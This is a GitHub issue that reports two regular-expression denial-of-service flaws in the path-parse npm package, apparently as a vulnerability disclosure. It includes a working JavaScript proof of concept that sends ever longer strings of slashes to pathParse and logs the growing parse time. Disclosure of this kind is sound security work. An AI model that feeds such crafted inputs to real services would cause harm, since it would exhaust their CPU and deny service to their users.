-
Couldn't load subscription status.
- Fork 37
Closed
Description
Hi,
I would like to report two Regular Expression Denial of Service (REDoS) vulnerabilities in path-parse.
It allows cause a denial of service when parsing crafted invalid paths.
You can execute the code below to reproduce the vulnerability.
var pathParse = require('path-parse');
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret + "◎";
}
for(var i = 1; i <= 5000000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
pathParse(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}Feel free to contact me if you have any questions.
Best regards,
Yeting Li
RoxanaM15, TayHobbs, kirillzyusko, vcfvct, JohannesBauer97 and 19 more
Metadata
Metadata
Assignees
Labels
No labels